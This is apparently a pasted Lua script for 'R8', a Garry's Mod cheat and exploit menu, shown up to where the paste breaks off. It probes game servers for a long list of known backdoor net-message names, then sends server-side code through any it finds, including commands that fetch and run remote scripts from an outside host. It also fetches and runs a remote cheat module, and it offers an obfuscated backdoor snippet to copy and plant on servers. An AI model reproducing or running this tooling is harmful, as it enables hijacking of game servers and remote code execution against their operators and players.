· 8 years ago · Aug 29, 2018, 06:32 PM
1NEW EXPLOIT
2R8 = R8 or {}
3R8.Modules = R8.Modules or {}
4
5
6concommand.Add('trace', function(pl)
7 local prop = pl:GetEyeTrace().Entity
8
9 if IsValid(prop) then
10 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
11 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \'' .. prop:GetModel() .. '\',')
12 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector(' .. string.gsub(tostring(prop:GetPos()), ' ', ', ') .. '),')
13 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle(' .. string.gsub(tostring(prop:GetAngles()), ' ', ', ') .. '),')
14 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
15 end
16end)
17
18surface.CreateFont("exitmenu", {
19 font = "Arial",
20 size = 20,
21 weight = 1000,
22 shadow = false,
23 outline = false
24})
25
26local function exitmenu(panel, X, y)
27 local CButton = vgui.Create("DButton", panel)
28 CButton:SetTextColor(Color(150, 150, 150))
29 CButton:SetText("Ð Ò")
30 CButton:SetFont("exitmenu")
31 CButton:SetPos(X, y)
32 CButton:SetSize(50, 24)
33
34 CButton.DoClick = function()
35 panel:SizeTo(0, 0, .2, 0, .2)
36
37 timer.Simple(0.3, function()
38 panel:SetVisible(false)
39 end)
40 end
41
42 CButton.Paint = function(panel, w, h)
43 surface.SetDrawColor(Color(0, 0, 0, 255))
44 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
45 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
46 end
47
48 CButton.OnCursorEntered = function(self)
49 surface.PlaySound("garrysmod/ui_hover.wav")
50
51 CButton.Paint = function(panel, w, h)
52 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
53 end
54 end
55
56 -------------------------------------------------------------
57 CButton.OnCursorExited = function(self)
58 CButton.Paint = function(panel, w, h)
59 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
60 end
61 end
62 ------------------------------------------------------------------------
63end
64
65local blur = Material("pp/blurscreen")
66
67local function DrawBlur(panel, amount)
68 local x, y = panel:LocalToScreen(0, 0)
69 local scrW, scrH = ScrW(), ScrH()
70 surface.SetDrawColor(255, 255, 255)
71 surface.SetMaterial(blur)
72
73 for i = 1, 3 do
74 blur:SetFloat("$blur", (i / 3) * (amount or 6))
75 blur:Recompute()
76 render.UpdateScreenEffectTexture()
77 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
78 end
79end
80
81netKey = "memeDoor"
82BackdoorsFound = 0
83
84function ValidNetString(str)
85 local status, error = pcall(net.Start, str)
86
87 return status
88end
89
90BackDoor_net = {
91 {
92 NetWork = "Sandbox_ArmDupe"
93 },
94 {
95 NetWork = "Sbox_darkrp"
96 },
97 {
98 NetWork = "Sbox_itemstore"
99 },
100 {
101 NetWork = "Ulib_Message"
102 },
103 {
104 NetWork = "ULogs_Info"
105 },
106 {
107 NetWork = "ITEM"
108 },
109 {
110 NetWork = "R8"
111 },
112 {
113 NetWork = "fix"
114 },
115 {
116 NetWork = "Fix_Keypads"
117 },
118 {
119 NetWork = "Remove_Exploiters"
120 },
121 {
122 NetWork = "noclipcloakaesp_chat_text"
123 },
124 {
125 NetWork = "_Defqon"
126 },
127 {
128 NetWork = "_CAC_ReadMemory",
129"nostrip"
130 },
131 {
132 NetWork = "nocheat"
133 },
134 {
135 NetWork = "LickMeOut"
136 },
137 {
138 NetWork = "ULX_QUERY2"
139 },
140 {
141 NetWork = "ULXQUERY2"
142 },
143 {
144 NetWork = "MoonMan"
145 },
146 {
147 NetWork = "Im_SOCool"
148 },
149 {
150 NetWork = "Sandbox_GayParty"
151 },
152 {
153 NetWork = "DarkRP_UTF8"
154 },
155 {
156 NetWork = "oldNetReadData"
157 },
158 {
159 NetWork = "memeDoor"
160 },
161 {
162 NetWork = "BackDoor"
163 },
164 {
165 NetWork = "OdiumBackDoor"
166 },
167 {
168 NetWork = "SessionBackdoor"
169 },
170 {
171 NetWork = "DarkRP_AdminWeapons"
172 },
173 {
174 NetWork = "cucked"
175 },
176 {
177 NetWork = "NoNerks"
178 },
179 {
180 NetWork = "kek"
181 },
182 {
183 NetWork = "ZimbaBackDoor"
184 },
185 {
186 NetWork = "something"
187 },
188 {
189 NetWork = "random"
190 },
191 {
192 NetWork = "strip0"
193 },
194 {
195 NetWork = "fellosnake"
196 },
197 {
198 NetWork = "enablevac"
199 },
200 {
201 NetWork = "idk"
202 },
203 {
204 NetWork = "c"
205 },
206 {
207 NetWork = "killserver"
208 },
209 {
210 NetWork = "fuckserver"
211 },
212 {
213 NetWork = "cvaraccess"
214 },
215 {
216 NetWork = "rcon"
217 },
218 {
219 NetWork = "rconadmin"
220 },
221 {
222 NetWork = "web"
223 },
224 {
225 NetWork = "jesuslebg"
226 },
227 {
228 NetWork = "zilnix"
229 },
230 {
231 NetWork = "Þà ?D)◘"
232 },
233 {
234 NetWork = "disablebackdoor"
235 },
236 {
237 NetWork = "kill"
238 },
239 {
240 NetWork = "DefqonBackdoor"
241 }
242}
243
244function checkbackdoors()
245 for k, v in pairs(BackDoor_net) do
246 if (ValidNetString(v.NetWork)) then
247 BackdoorsFound = 1 + BackdoorsFound
248 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
249 end
250 end
251end
252
253CreateClientConVar("menu_r", "148", true, false)
254CreateClientConVar("menu_g", "0", true, false)
255CreateClientConVar("menu_b", "211", true, false)
256
257--------------------------------------------------------------------------------------------
258surface.CreateFont("Main", {
259 font = "Arial",
260 size = 20,
261 weight = 1000,
262 shadow = false,
263 outline = false
264})
265
266local insertdown2, insertdown, menuopen
267
268function MainMenu()
269 local x1 = vgui.Create("DFrame")
270 x1:SetPos(700, 300)
271 x1:SizeTo(300, 400, .3, 0, .3)
272 exitmenu(x1, 249, 1)
273 x1:SetTitle(" ")
274 x1:ShowCloseButton(false)
275 x1:SetVisible(true)
276 x1:MakePopup()
277
278 function x1:Paint()
279 DrawBlur(self, 5)
280 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
281 surface.SetDrawColor(Color(0, 0, 0, 255))
282 surface.DrawOutlinedRect(0, 0, x1:GetSize())
283 ---------------------------------------------------------
284 surface.DrawOutlinedRect(0, 110, x1:GetSize())
285 --surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
286 ---------------------------------------------------------
287 surface.DrawOutlinedRect(0, 25, x1:GetSize())
288 -------------------------------------------------
289 surface.DrawOutlinedRect(0, 0, 249, 26)
290 surface.DrawOutlinedRect(0, 110, 101, 90)
291 surface.DrawOutlinedRect(0, 110, 500, 90)
292 --surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
293 --
294 surface.DrawOutlinedRect(100, 25, x1:GetSize())
295 --
296 --surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
297 --
298 --surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
299 ------------------------------------------------
300 end
301
302 x1.Think = function()
303 if (input.IsKeyDown(KEY_INSERT) and not insertdown2) then
304 x1:SizeTo(0, 0, .2, 0, .2)
305
306 timer.Simple(0.1, function()
307 x1:Remove()
308 end)
309
310 menuopen = false
311 end
312 end
313
314 local function Think()
315 if (input.IsKeyDown(KEY_INSERT) and not menuopen and not insertdown) then
316 menuopen = true
317 insertdown = true
318 MainMenu()
319 elseif (not input.IsKeyDown(KEY_INSERT) and not menuopen) then
320 insertdown = false
321 end
322
323 if (input.IsKeyDown(KEY_INSERT) and insertdown and menuopen) then
324 insertdown2 = true
325 else
326 insertdown2 = false
327 end
328 end
329
330 hook.Add("Think", "", Think)
331 local news_p1 = vgui.Create("DPanel", x1)
332 news_p1:SetPos(100, 200)
333 news_p1:SetSize(200, 200)
334
335 -- Paint will paint the current page (Changing color, shape, etc)
336 news_p1.Paint = function(self, w, h)
337 draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
338 end
339
340 local richtext = vgui.Create("RichText", news_p1)
341 richtext:Dock(FILL)
342 local TheReturnedHTML = "" -- Blankness
343
344 http.Fetch("http://u38947.onhh.ru/VG2X212E112/news.lua", function(body, len, headers, code)
345 TheReturnedHTML = body
346 richtext:SetText(TheReturnedHTML)
347 end, function(error)
348 richtext:SetText("Не удалось получить новости с нашего сервера. \n Возможно, у вас пропало соединение с интернетом \n или наши сервера временно не доступны.")
349 end)
350
351 local q1 = vgui.Create("DHTML", x1)
352 q1:OpenURL("http://u38947.onhh.ru/logo90x90.png")
353 q1:SetSize(150, 150)
354 q1:SetPos(6, 110)
355
356 surface.CreateFont("B1", {
357 font = "Arial",
358 size = 20,
359 weight = 1000,
360 shadow = false,
361 outline = false
362 })
363
364 ex = true
365 ct = true
366 nh = true
367
368 func_table = {
369 --
370 {
371 ---------------------------------------
372 Name = "Exploit",
373 Func = function()
374 -- if ex then
375 -- R8.Modules.Exploit()
376 -- end
377
378 ex = false
379 x1:SizeTo(0, 0, .2, 0, .2)
380 x1:SetVisible(false)
381
382 timer.Simple(0.5, function()
383 LocalPlayer():ConCommand('R8_Exploit')
384 end)
385
386 surface.PlaySound("garrysmod/ui_click.wav")
387 end
388 },
389 ---------------------------------------
390 --
391 {
392 ---------------------------------------
393 Name = "Cheat",
394 Func = function()
395 if ct then
396 http.Fetch('http://u38947.onhh.ru/R8/modules/ampirs.lua', RunString)
397 end
398
399 ct = false
400 x1:SizeTo(0, 0, .2, 0, .2)
401 x1:SetVisible(false)
402
403 timer.Simple(0.5, function()
404 LocalPlayer():ConCommand('Ampris_menu')
405 end)
406
407 surface.PlaySound("garrysmod/ui_click.wav")
408 end
409 },
410 ---------------------------------------
411 --
412 --
413 {
414 ---------------------------------------
415 Name = 'BackDoor',
416 Func = function()
417 if nh then
418 R8.Modules.BackDoor()
419 end
420
421 nh = false
422 x1:SizeTo(0, 0, .2, 0, .2)
423 x1:SetVisible(false)
424
425 timer.Simple(0.5, function()
426 LocalPlayer():ConCommand('bd_menu')
427 end)
428
429 surface.PlaySound("garrysmod/ui_click.wav")
430 end
431 }
432 }
433
434 ---------------------------------------
435 --
436 for k, v in pairs(func_table) do
437 local Buttons = vgui.Create("DButton", x1)
438 Buttons:Dock(4)
439 Buttons:DockMargin(0, 0, 200, 5)
440 Buttons:SetText(v.Name)
441 Buttons:SetFont('B1')
442 Buttons:SetTextColor(Color(255, 255, 255, 255))
443 Buttons.DoClick = v.Func
444
445 Buttons.OnCursorEntered = function(self)
446 surface.PlaySound("garrysmod/ui_hover.wav")
447 end
448
449 function Buttons:Paint()
450 --draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
451 --
452 --draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
453 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
454 surface.SetDrawColor(Color(0, 0, 0, 255))
455 surface.DrawOutlinedRect(0, 0, Buttons:GetSize())
456 surface.DrawOutlinedRect(0, 25, Buttons:GetSize())
457 end
458 end
459
460 -----------------------------------------------------------------------------
461 local b5 = vgui.Create("DButton", x1)
462 b5:Dock(TOP)
463 b5:DockMargin(100, -81, 0, 5)
464 b5:SetText('| BackDoor | Check |')
465 b5:SetFont('B1')
466 b5:SetTextColor(Color(255, 255, 255, 255))
467
468 function b5:DoClick()
469 surface.PlaySound("garrysmod/ui_click.wav")
470 checkbackdoors()
471 end
472
473 b5.OnCursorEntered = function(self)
474 surface.PlaySound("garrysmod/ui_hover.wav")
475 end
476
477 function b5:Paint()
478 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
479 surface.SetDrawColor(Color(0, 0, 0, 255))
480 surface.DrawOutlinedRect(0, 0, b5:GetSize())
481 surface.DrawOutlinedRect(0, 25, b5:GetSize())
482 end
483
484 local b6 = vgui.Create("DButton", x1)
485 b6:Dock(TOP)
486 b6:DockMargin(100, 0, 0, 5)
487 b6:SetText('Theme Color')
488 b6:SetFont('B1')
489 b6:SetTextColor(Color(255, 255, 255, 255))
490
491 b6.OnCursorEntered = function(self)
492 surface.PlaySound("garrysmod/ui_hover.wav")
493 end
494
495 function b6:DoClick()
496 surface.PlaySound("garrysmod/ui_click.wav")
497 LocalPlayer():ConCommand('R8_theme')
498 end
499
500 function b6:Paint()
501 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
502 surface.SetDrawColor(Color(0, 0, 0, 255))
503 surface.DrawOutlinedRect(0, 0, b6:GetSize())
504 surface.DrawOutlinedRect(0, 25, b6:GetSize())
505 end
506
507 local b7 = vgui.Create("DButton", x1)
508 b7:Dock(TOP)
509 b7:DockMargin(100, 0, 0, 5)
510 b7:SetText("Copy BackDoor")
511 b7:SetFont('B1')
512 b7:SetTextColor(Color(255, 255, 255, 255))
513
514 function b7:DoClick()
515 surface.PlaySound("garrysmod/ui_click.wav")
516 local backdoorr8 = [[local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )]]
517 SetClipboardText(backdoorr8)
518 LocalPlayer():ChatPrint('Скопировано в буфер обмена.')
519 end
520
521 b7.OnCursorEntered = function(self)
522 surface.PlaySound("garrysmod/ui_hover.wav")
523 end
524
525 function b7:Paint()
526 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
527 surface.SetDrawColor(Color(0, 0, 0, 255))
528 surface.DrawOutlinedRect(0, 0, b7:GetSize())
529 surface.DrawOutlinedRect(0, 25, b7:GetSize())
530 end
531
532 -----------------------------------------------------------------------------
533 -----------------------------------------------------------------------------
534 local b8 = vgui.Create("DButton", x1)
535 b8:Dock(TOP)
536 b8:DockMargin(100, 6, 0, 5)
537 b8:SetText('Love you.')
538 b8:SetFont('B1')
539 b8:SetTextColor(Color(255, 255, 255, 255))
540
541 function b8:DoClick()
542 surface.PlaySound("garrysmod/ui_click.wav")
543
544 for k, v in pairs(BackDoor_net) do
545 if (ValidNetString(v.NetWork)) then
546 net.Start(v.NetWork)
547 net.WriteString([[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R8] Love you.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]])
548 net.WriteBit(1)
549 net.SendToServer()
550 end
551 end
552 end
553
554 b8.OnCursorEntered = function(self)
555 surface.PlaySound("garrysmod/ui_hover.wav")
556 end
557
558 function b8:Paint()
559 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
560 surface.SetDrawColor(Color(0, 0, 0, 255))
561 surface.DrawOutlinedRect(0, 0, b8:GetSize())
562 surface.DrawOutlinedRect(0, 25, b8:GetSize())
563 end
564
565 local b9 = vgui.Create("DButton", x1)
566 b9:Dock(TOP)
567 b9:DockMargin(100, 0, 0, 5)
568 b9:SetText('Disco Time - BackDoor')
569 b9:SetFont('B1')
570 b9:SetTextColor(Color(255, 255, 255, 255))
571
572 function b9:DoClick()
573 surface.PlaySound("garrysmod/ui_click.wav")
574
575 for k, v in pairs(BackDoor_net) do
576 if (ValidNetString(v.NetWork)) then
577 net.Start(v.NetWork)
578 net.WriteString("http.Fetch(\"http://u38947.onhh.ru/R8/backdoor/disco.lua\",function(b,l,h,c)RunString(b)end,nil)")
579 net.WriteBit(1)
580 net.SendToServer()
581 end
582 end
583 end
584
585 b9.OnCursorEntered = function(self)
586 surface.PlaySound("garrysmod/ui_hover.wav")
587 end
588
589 function b9:Paint()
590 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
591 surface.SetDrawColor(Color(0, 0, 0, 255))
592 surface.DrawOutlinedRect(0, 0, b9:GetSize())
593 surface.DrawOutlinedRect(0, 25, b9:GetSize())
594 end
595
596 local b10 = vgui.Create("DButton", x1)
597 b10:Dock(TOP)
598 b10:DockMargin(100, 0, 0, 3)
599 b10:SetText('R8 - BackDoor')
600 b10:SetFont('B1')
601 b10:SetTextColor(Color(255, 255, 255, 255))
602
603 function b10:DoClick()
604 surface.PlaySound("garrysmod/ui_click.wav")
605
606 for k, v in pairs(BackDoor_net) do
607 if (ValidNetString(v.NetWork)) then
608 net.Start(v.NetWork)
609 net.WriteString("http.Fetch(\"http://u38947.onhh.ru/R8/backdoor/R8_backdoor.lua\",function(b,l,h,c)RunString(b)end,nil)")
610 net.WriteBit(1)
611 net.SendToServer()
612 end
613 end
614 end
615
616 b10.OnCursorEntered = function(self)
617 surface.PlaySound("garrysmod/ui_hover.wav")
618 end
619
620 function b10:Paint()
621 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
622 surface.SetDrawColor(Color(0, 0, 0, 255))
623 surface.DrawOutlinedRect(0, 0, b10:GetSize())
624 surface.DrawOutlinedRect(0, 25, b10:GetSize())
625 end
626
627 ------------------------------------------------------------------------------------------------------------------------
628 function ColorMenu()
629 local ColorMenu = vgui.Create("DFrame")
630 ColorMenu:SetPos(399, 300)
631 ColorMenu:SizeTo(300, 265, .3, 0, .3)
632 ColorMenu:MakePopup()
633 ColorMenu:SetTitle("")
634 ColorMenu:SetVisible(true)
635 ColorMenu:ShowCloseButton(false)
636 exitmenu(ColorMenu, 249, 1)
637
638 ColorMenu.Paint = function(self, w, h)
639 DrawBlur(self, 3)
640 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
641 surface.SetDrawColor(Color(0, 0, 0, 255))
642 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
643 surface.DrawOutlinedRect(0, 25, ColorMenu:GetSize())
644 -------------------------------------------------
645 surface.DrawOutlinedRect(0, 0, 249, 26)
646 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
647 end
648
649 local color2 = vgui.Create("DColorMixer", ColorMenu)
650 color2:Dock(TOP)
651 color2:DockMargin(0, 0, 0, 0)
652 color2:SetPalette(false)
653 color2:SetWangs(false)
654 color2:SetAlphaBar(false)
655 color2:SetColor(Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 255))
656
657 function color2:ValueChanged(color)
658 LocalPlayer():ConCommand("menu_r " .. color.r)
659 LocalPlayer():ConCommand("menu_g " .. color.g)
660 LocalPlayer():ConCommand("menu_b " .. color.b)
661 end
662 end
663
664 concommand.Add('R8_theme', ColorMenu)
665
666 -----------------------------------------------------------------------------
667 local table_credits = {
668 {
669 text = "Developer",
670 durl = "https://vk.com/id442102553"
671 },
672 {
673 text = "Discord",
674 durl = "https://discord.gg/p24GfaZ"
675 },
676 {
677 text = "Friend's",
678 durl = "https://discord.gg/AnMS3me"
679 },
680 {
681 text = "Sponsor",
682 durl = "https://vk.com/pirohok123"
683 }
684 }
685
686 for k, v in pairs(table_credits) do
687 local Credits = vgui.Create("DButton", x1)
688 Credits:Dock(5)
689 Credits:DockMargin(1, 5, 199, 5)
690 Credits:SetText(v.text)
691 Credits:SetFont('B1')
692 Credits:SetTextColor(Color(255, 255, 255, 255))
693
694 Credits.OnCursorEntered = function(self)
695 surface.PlaySound("garrysmod/ui_hover.wav")
696 end
697
698 function Credits:DoClick()
699 surface.PlaySound("garrysmod/ui_click.wav")
700 gui.OpenURL(v.durl)
701 end
702
703 function Credits:Paint()
704 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
705 surface.SetDrawColor(Color(0, 0, 0, 255))
706 surface.DrawOutlinedRect(0, 0, Credits:GetSize())
707 surface.DrawOutlinedRect(0, 25, Credits:GetSize())
708 end
709 end
710end
711
712concommand.Add('R8_Menu', MainMenu)
713
714
715//////////// [BASIC SHIT] ////////////
716local blur = Material("pp/blurscreen")
717
718local function DrawBlur(panel, amount)
719 local x, y = panel:LocalToScreen(0, 0)
720 local scrW, scrH = ScrW(), ScrH()
721 surface.SetDrawColor(255, 255, 255)
722 surface.SetMaterial(blur)
723
724 for i = 1, 3 do
725 blur:SetFloat("$blur", (i / 3) * (amount or 6))
726 blur:Recompute()
727 render.UpdateScreenEffectTexture()
728 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
729 end
730end
731
732CreateClientConVar("menu_r", "0", true, false)
733CreateClientConVar("menu_g", "0", true, false)
734CreateClientConVar("menu_b", "0", true, false)
735
736-- Solly copypaste
737if (istable(MOTDgd)) then
738 MOTDgd = {}
739
740 function MOTDgd.Show()
741 end
742
743 function MOTDgd.GetIfSkip()
744 return true
745 end
746end
747
748local function exitmenu(panel, X, y)
749 local CButton = vgui.Create("DButton", panel)
750 CButton:SetTextColor(Color(150, 150, 150))
751 CButton:SetText("Ð Ò")
752 CButton:SetFont("exitmenu")
753 CButton:SetPos(X, y)
754 CButton:SetSize(50, 24)
755
756 CButton.DoClick = function()
757 panel:SizeTo(0, 0, .2, 0, .2)
758
759 timer.Simple(0.3, function()
760 panel:SetVisible(false)
761 end)
762 end
763
764 CButton.Paint = function(panel, w, h)
765 surface.SetDrawColor(Color(0, 0, 0, 255))
766 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
767 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
768 end
769
770 CButton.OnCursorEntered = function(self)
771 surface.PlaySound("garrysmod/ui_hover.wav")
772
773 CButton.Paint = function(panel, w, h)
774 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
775 end
776 end
777
778 -------------------------------------------------------------
779 CButton.OnCursorExited = function(self)
780 CButton.Paint = function(panel, w, h)
781 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
782 end
783 end
784 ------------------------------------------------------------------------
785end
786
787function random_string(length)
788 math.randomseed(os.time())
789
790 if length > 0 then
791 return random_string(length - 1) .. charset[math.random(1, #charset)]
792 else
793 return ""
794 end
795end
796
797local s = {}
798s.duel = {}
799s.duel[1] = table.Random(player.GetAll())
800s.duel[2] = table.Random(player.GetAll())
801s.duel[2] = 3
802s.duel[3] = -9999999
803
804--////////// [CHAT TEXT] ////////////
805function ECPrint(str)
806 chat.AddText(Color(150, 150, 150), "[R8] ", Color(255, 255, 255), str)
807end
808
809--////////// [NOTIFY] ////////////
810local function ECNotify(text)
811 local notify = vgui.Create("DPanel")
812 notify:SetSize(200, 50)
813 notify:SetPos(ScrW() - 200, -50)
814
815 notify.Paint = function(self, w, h)
816 draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
817 local bars = 50
818
819 for i = 0, bars do
820 local rainbow = HSVToColor(CurTime() % 6 * 60 + i, 1, 1)
821 draw.RoundedBox(0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
822 end
823
824 --draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
825 draw.SimpleText(text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
826 end
827
828 notify:MoveTo(ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
829 timer.Simple(3, function()
830 notify:MoveTo(ScrW() - notify:GetWide(), -50, .2, 0, -1)
831 end)
832 end)
833end
834
835--////////// [CLEAR CHAT] ////////////
836function clearchat()
837 for i = 0, 100 do
838 chat.AddText(" ")
839 end
840end
841
842--////////// [REMOVE ALL ERRORS] ////////////
843concommand.Add("removerrors", function()
844 hook.Add("Think", "wow", function()
845 for k, v in pairs(ents.GetAll()) do
846 if (v:GetModel():find("models/error.mdl")) then
847 v:SetModel("models/player/group01/male_02.mdl")
848 print(v:Nick() .. " model reset due to models/error.mdl")
849 end
850 end
851 end)
852end)
853
854--////////// [VAPE] ////////////
855function Vape()
856 timer.Simple(0, function()
857 RunConsoleCommand("+attack")
858 end)
859
860 timer.Simple(5.134, function()
861 RunConsoleCommand("-attack")
862 end)
863end
864
865concommand.Add("vape", Vape)
866concommand.Add("clearchat", clearchat)
867
868--////////// [CAC CHECKER] ////////////
869if (_G.QAC or _G.CAC) then
870 chat.AddText(Color(0, 255, 255), "[", "R8", "] ", Color(255, 255, 255), "The server has Cake Anti Cheat!")
871end
872
873function Initialize()
874 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
875 surface.PlaySound("HL1/fvox/bell.wav")
876 -- surface.PlaySound("buttons/button15.wav")
877 ECNotify("Loaded Successfully!")
878 net.Receive("DL_Answering_global", function(_len) end) -- Stop LocalPlayer from getting kicked whilst kicking all
879 net.Receive("metro_notification", function() return end) -- Disable Metro Notification
880
881 --////////// Font Creation ////////////
882 --
883 surface.CreateFont("Roboto", {
884 font = "Roboto",
885 size = 18
886 })
887
888 --
889 surface.CreateFont("Calibri-sm", {
890 font = "Calibri",
891 size = 15
892 })
893
894 --
895 surface.CreateFont("Calibri-l", {
896 font = "Calibri",
897 size = 21
898 })
899
900 --
901 surface.CreateFont("tahoma", {
902 font = "Tahoma",
903 size = 15
904 })
905 --
906end
907
908Initialize() -- Initializes basic shit for when menu is loaded.
909
910function ValidNetString(str)
911 local status, error = pcall(net.Start, str)
912
913 return status
914end
915
916------------------------------------------------------------------------
917--////////// [MENU] ////////////
918function draw.OutlinedBox(x, y, w, h, thickness, clr)
919 surface.SetDrawColor(clr)
920
921 for i = 0, thickness - 1 do
922 surface.DrawOutlinedRect(x + i, y + i, w - i * 2, h - i * 2)
923 end
924end
925
926-------------------------------------------------------------------------------------------
927surface.CreateFont("Main", {
928 font = "Arial",
929 size = 20,
930 weight = 1000,
931 shadow = false,
932 outline = false
933})
934
935function R8_Menu()
936 local menu = vgui.Create("DFrame")
937 menu:Center()
938 menu:SizeTo(300, 350, .3, 0, .3)
939 exitmenu(menu, 249, 1)
940 menu:SetTitle(" ")
941 menu:ShowCloseButton(false)
942 menu:MakePopup()
943
944 function menu:Paint()
945 DrawBlur(self, 5)
946 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
947 draw.SimpleText(totalSploits .. "/302 Exploits - R8", "Roboto", 5, 3, Color(255, 255, 255, 200), 0, 0)
948
949 if totalSploits == 0 then
950 draw.SimpleText("Рксплойтов РЅРµ найдено!", "Roboto", 65, 150, Color(255, 255, 255, 200), 0, 0)
951 end
952
953 surface.SetDrawColor(Color(0, 0, 0, 255))
954 surface.DrawOutlinedRect(0, 0, menu:GetSize())
955 surface.DrawOutlinedRect(0, 0, 249, 26) -- палочка РґР»СРРєРЅРѕРїРєРё
956 surface.DrawOutlinedRect(0, 25, menu:GetSize())
957 end
958
959 --////////// [TABS] ////////////
960 local tabs = vgui.Create("DPropertySheet", menu)
961 tabs:Dock(FILL)
962 tabs:DockPadding(-5, 5, 0, 0)
963
964 tabs.Paint = function(self, w, h)
965 for k, v in pairs(tabs.Items) do
966 if (not v.Tab) then continue end
967
968 v.Tab.Paint = function(self, w, h)
969 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
970 draw.RoundedBox(0, 0, 22, w - 2, 1, Color(45, 45, 45, 255))
971
972 if (tabs:GetActiveTab() == v.Tab) then
973 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
974 --draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
975 draw.RoundedBox(0, 0, 22, w, 1, Color(255, 255, 255, 255))
976 end
977 end
978 end
979 end
980
981 --////////// [PANELS] ////////////
982 local exploitsPanel = vgui.Create("DPanel", menu)
983 exploitsPanel:Dock(1)
984
985 exploitsPanel.Paint = function(self, w, h)
986 draw.RoundedBox(0, 0, 0, w, h, Color(25, 25, 25, 100))
987 draw.OutlinedBox(0, 0, w, h, 1, Color(0, 0, 0))
988 end
989
990 local exploitsScrollPanel = vgui.Create("DScrollPanel", exploitsPanel)
991 exploitsScrollPanel:Dock(FILL)
992
993 //////////// [NEW EXPLOIT] ////////////
994 --------------------
